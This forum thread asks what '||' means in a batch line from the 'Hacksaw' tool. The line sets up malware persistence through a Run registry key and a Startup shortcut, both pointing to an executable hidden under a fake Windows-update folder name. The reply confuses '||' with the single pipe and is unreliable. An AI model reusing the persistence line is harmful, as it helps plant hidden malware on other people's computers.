Jump to content

Hacksaw batch file question


Recommended Posts

Hacksaw batch file n00b question:

in this line,

reg.exe add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun /v USBMedia /t REG_SZ /d "%systemroot%$NtUninstallKB931337$sbs.exe" /f || "%appdata%sbsshortcut.exe" /f:"%USERPROFILE%Start MenuProgramsStartup .lnk" /A:C /T:"%appdata%sbssbs.exe" /W:"%appdata%sbs" /I:"%appdata%sbsblank.ico"

I understand what everything here does except one small part.

what exectly does "||" do?

Much appreciated.

Link to comment
Share on other sites

Yes, | sends the output of the left-side commando to the right-size commando. A very common use of it is

cat largefile.txt | more

, which displays the file in "screens", using the utility more.exe.

Another way to say it: (taken from http://www.infionline.net/~wtnewton/batch/batguide.html)

Redirection and Pipes

Normally, input is taken from the keyboard and output goes to the console. Redirection allows input and output to refer to a file or device instead. Pipes allow the output of one program to be used as input to another program. These symbols only work with programs that read from "standard input" and write to "standard output" but fortunately this includes most DOS commands.

    * The < symbol causes file to be fed to the program as input.

    * The > symbol causes the program's output to be sent to the following file or device.

    * The >> symbol causes the program's output to be appended to the file or device.

    * The | symbol (the pipe) causes the output of the preceding program to be sent to the following program.

The following example shows how to use redirection with the FIND command...

    @echo off

    find %1<%2>nul

    if not errorlevel 1 echo %2 contains %1

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...